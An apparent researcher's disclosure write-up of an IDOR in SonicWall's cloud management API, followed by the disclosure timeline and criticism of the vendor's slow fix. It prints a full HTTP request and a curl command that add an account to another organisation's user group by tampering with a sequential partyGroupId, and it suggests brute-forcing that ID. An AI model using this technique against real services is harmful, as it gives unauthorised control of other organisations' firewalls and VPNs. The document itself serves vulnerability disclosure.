Cloud firewall management API SNAFU put 500k SonicWall customers at risk

TL;DR

• I found an IDOR in SonicWall’s cloud management platform API
• Any user could add themselves to any account at any organisation using it
• Anyone could create a user account to exploit the issue, from the public internet
• Can be used to change firewall rules, or add rogue VPN users, for example
• Results in trivial compromise of ~500K orgs, ~2 million user groups and ~10 million devices
• Where SonicWall is used for SSO, results in compromise of 3^rd party systems too
• Not clear how long it was vulnerable for, but took SonicWall 14 days to fix the issue…
  …during which time they left the offending API request available, exposing all customers

Potential for injecting ransomware was significant.

Irony of a security vendor making clients more vulnerable is not lost on us!

Let’s begin

SonicWall is a significant provider of security appliances, primarily firewalls, UTM, VPNs and content control.

During a recent test, I was investigating the cloud management functionality of a client firewall and other SonicWall devices through the mysonicwall.com cloud.

I found a security issue so serious that we then spent £££ on our own SonicWall products in order to independently validate the issue, to be certain it wasn’t just our client that was affected.

What I discovered was a trivial method to compromise every single cloud managed device attached to mysonicwall.com, affecting around 1.9 million user groups across hundreds of thousands of organisations. At least 10 million individual devices were affected.

The vulnerability, an insecure direct object reference in the ‘partyGroupID’ API request, allowed any user to be added to any group at any organization. All I needed was my own account and I could add it to anyone else’s group through the public cloud service.

Using this degree of access, one could modify firewall rules and/or VPN access, giving oneself remote access in to any organization. One could inject ransomware, or any manner of other attacks should one so wish. That’s a breach of customer networks directly as a result of their security products. The irony is not lost on me!

Disclosure was initially very positive, then went rapidly downhill as SonicWall procrastinated with a fix and refused to take down the vulnerable functionality in the meantime, knowingly leaving their customers exposed for a full 17 days.

The vulnerability

An insecure direct object reference vulnerability was found in the users/add-user API endpoint for the SonicWall GMS application. This could allow a normal authenticated user to manipulate a parameter and gain access to any user group in any tenant.

When inviting a new user, a call is made to the api/users/add-user endpoint. Amongst other parameters, this call includes a partyGroupId parameter. This number appears to be a sequential integer which is unique to any group in any tenant.

This parameter will add the user in the request to the resultant group. A check is made whether the emailAddress parameter is allowed, but this only works if the emailAddress is the same as that in the JWT used for authorisation. If the emailAddress is changed to a new or existing user, but is not the same as in the JWT then the user will be added to the partyGroupId group.

As the partyGroupId parameter is a 7-digit integer it is possible to perform a brute force attack and gain access to other groups.

The partyGroupId parameter appears to be unique globally and can reference groups in any tenant. This could give access to all devices of another tenant.

An example request can be seen below where a throw-away user is created to have very basic access:

Request:

Request:
POST /api/users/add-user?emailAddress=[email protected]&firstName=Vangelis&lastName=Stykas1&partyGroupId=1644147&contactTypeId=10001&bskipResellerCustomerValidation=false HTTP/1.1
Host: api.mysonicwall.com
Connection: close
Content-Length: 2
Accept: application/json, text/plain, */*
Origin: https://www.mysonicwall.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOiIxNTk3MzIzNjI4IiwiaXNzIjoiaHR0cHM6Ly9teS5teXNvbmljd2FsbC5jb20vT0F1dGgyMCIsImF1ZCI6Imh0dHBzOi8vd3d3Lm15c29uaWN3YWxsLmNvbS9PQXV0aDIiLCJ1c2VyTmFtZSI6IjRfMzkzNjk0OTMiLCJjbGllbnRJZCI6Ik1VSVIxWEhJUzI3Iiwic0lkIjoiNDFDQzA1NkYtQ0JGNy00MDU1LTkxOTctMzQ1OUE1MTc5Mjg1IiwibG9jYWxlTmFtZSI6ImVuIiwiZ2l2ZW5OYW1lIjoiVmFuZ2VsaXMgU3R5a2FzIiwiZW1haWwiOiJlZ3cxMUBtYWlsaW5hdG9yLmNvbSIsInNlbGYiOiIxIiwidmlld21vZGUiOiJzZWxmbXN3IiwiY29tcGFueU5hbWUiOiJGaXNoIEluYyIsImNvdW50cnlDb2RlIjoiR0IiLCJwYXJ0bmVyVGllciI6IiIsInJvbGVzIjoiQ1VTVE9NRVIsV09SS1NQQUNFQkVUQSxTUE9HU1NDIn0.JF4VbFglSUsNYhPqmfbrIGC3ENPMXXXXXXb2mFdb_w
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36
Content-Type: application/json
Referer: https://www.mysonicwall.com/workspace/m/feature/user-groups?mode=APP
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
 
{}

The highlighted parameters can be tampered with. This attack could easily be scripted and run from a simple curl script.

As noted, the emailAddress in the parameters is egw12@mailinator.com whereas the email address in the JWT is “egw11@mailinator.com”.

This will respond with:

This can be run through a simple curl command:

curl -i -s -k -X $'POST' \
    -H $'Host: api.mysonicwall.com' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0' -H $'Accept: application/json, text/plain, */*' -H $'Accept-Language: en-GB,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOiIxNTk3Mzk1MzUzIiwiaXNzIjoiaHR0cHM6Ly9teS5teXNvbmljd2FsbC5jb20vT0F1dGgyMCIsImF1ZCI6Imh0dHBzOi8vd3d3Lm15c29uaWN3YWxsLmNvbS9PQXV0aDIiLCJ1c2VyTmFtZSI6IjRfMzkzNzE4MjAiLCJjbGllbnRJZCI6Ik1VSVIxWEhJUzI3Iiwic0lkIjoiNDg0NTE2RTgtMjU2RS00QzZFLTg2OUQtNTE0RUM5MzgwRjMyIiwibG9jYWxlTmFtZSI6ImVuIiwiZ2l2ZW5OYW1lIjoiRGF2aWQgTG9kZ2UiLCJlbWFpbCI6InNvbmljd2FsbEB0YXV0b2xvZ3kub3JnLnVrIiwic2VsZiI6IjEiLCJ2aWV3bW9kZSI6InNlbGZtc3ciLCJjb21wYW55TmFtZSI6IlRhdXRvbG9neSBDb25zdWx0aW5nIiwiY291bnRyeUNvZGUiOiJHQiIsInBhcnRuZXJUaWVyIjoiIiwicm9sZXMiOiJDVVNUT01FUixXT1JLU1BBQ0VCRVRBLFNQT0dTU0MifQ.Hvkd7XgzTEqE6958AaXXXXXXXXXv1MOM' -H $'Origin: https://www.mysonicwall.com' -H $'Connection: close' -H $'Referer: https://www.mysonicwall.com/workspace/m/feature/user-group?mode=APP' -H $'Content-Length: 2' \
    --data-binary $'{}' \
    $'https://api.mysonicwall.com/api/users/add-user?emailAddress=sonicwall1@█████████.org.uk&firstName=David&lastName=█████&partyGroupId=1644147&contactTypeId=10001&bskipResellerCustomerValidation=false'

This will make it possible to simply script an attack

Once the user has been added then they will have access to that usergroup; in the examples above, this has given access to the following:

From here it is possible to perform user administration, including removing valid users:

As permissions have been obtained it should be possible to access all licensed options for that tenant.

This includes obtaining the list of users for that company:

(the same page allows deleting of current users)

And the company’s details. This is our own account:

Through services it is possible to control the company’s devices, including the firewall rules and logs:

Compromise is now complete. Depending on the features the client has paid for, one would have access to configure:

• Routers
• Firewalls
• VPN (adding a VPN user and having access to the internal network)
• Security reports
• Traffic analytics
• VoIP and potentially toll fraud
• Internal wireless networks
• Web application firewalls
• Cloud app security controls
• Anti-spam and content filters

Disclosure

Following the vulnerability disclosure process at https://psirt.global.sonicwall.com/vuln-policy, we emailed a report to [email protected] on the morning of August 13th.

This was acknowledged about 45 minutes later with a personal reply. We strongly urged SonicWall to take down the affected service whilst a fix was implemented, given the degree of customer exposure

About 12 hours later we had an update, confirming the vulnerability existed. This is good!

“We have validated your report and submitted to our remediation team to fix the issue.
And if you keep it confidential until we patch it, you and Pentest Partners will be credited on our vulnerabilities Hall of Fame page.”

But no reference to a timeline to fix. After hearing nothing for 6 days, I asked the question directly:

“Could you please urgently confirm when you intend to fix this issue, given it exposes every one of your customers using the SonicWall cloud service and should be straightforward to resolve?”

And received this reply:

“Please be patient, our team is still working on fixing the issue. We will let you know once the issue is patched.”

This is a trivial IDOR in an API, not a complex RCE in the firewall OS. Other API requests were correctly authorized, so the fix should be straightforward. Also, why wasn’t the service taken down in the meantime?

I waited another four days and asked again for a timeline:

“Can you please give me a timeline estimate on fixing this issue ?
To my understanding you have knowingly left vulnerable every user of the cloud platform.”

Finally a timeline:

“Again thanks for you report and follow up, the fix is in QA and it will be deployed by end of the month.”

That would make a total of 17 days during which SonicWall knowingly exposed their entire customer base.

Most of the other API IDOR issues we’ve disclosed to other organisations have been fixed within 48 hours. Even car alarm vendors have fixed similar issues inside 3 days of us reporting. This is a security vendor though, who really should know better and do better.

My colleague Ken helped me escalate this to the SonicWall CEO.

Ken reached out to message the CEO Bill Conner privately on LinkedIn. He replied within two hours, which was impressive given the time difference.

The head of global support was introduced to us and we were then passed to a VP of support who took our report and assured us that it would be raised urgently.

Whilst it still took another 48 hours, the vulnerability was resolved overnight on the 26-27th August.

It was a shame that we had to go around the PSIRT team to get the priority raised, but good that it did accelerate the fix.

Even so, we still don’t understand why the service wasn’t taken down immediately. We’re realists – we know that keeping the service running is important, but in the face of risks this significant? Taking down the API request function to add a user wouldn’t have been particularly impactful for a short period whilst the fix was worked on either.

Conclusion

Having a vulnerability this serious in a security product and cloud service isn’t great, but that isn’t our issue here. Vulnerabilities happen. It’s OK.

What makes the difference between a cool vendor and an uncool vendor is how they deal with the report. In our opinion SonicWall didn’t deal with this well and then knowingly exposed every single one of their cloud-connected customers to remote pwnage for 14 days.

***UPDATE***

SonicWall issued a statement to a journalist in which they said:

Any exploitation of the vulnerability would first require a hacker to obtain an account owner’s specific tenant ID (which are fully protected and not publicly available) and then associate a new user with that tenant ID.

This is inaccurate and misleading for two reasons:

• Firstly the tenant IDs were both unprotected and publicly available, otherwise we couldn’t have found them.
• Secondly they use sequential numbers, meaning that if a hacker can count they could have obtained a valid tenant ID.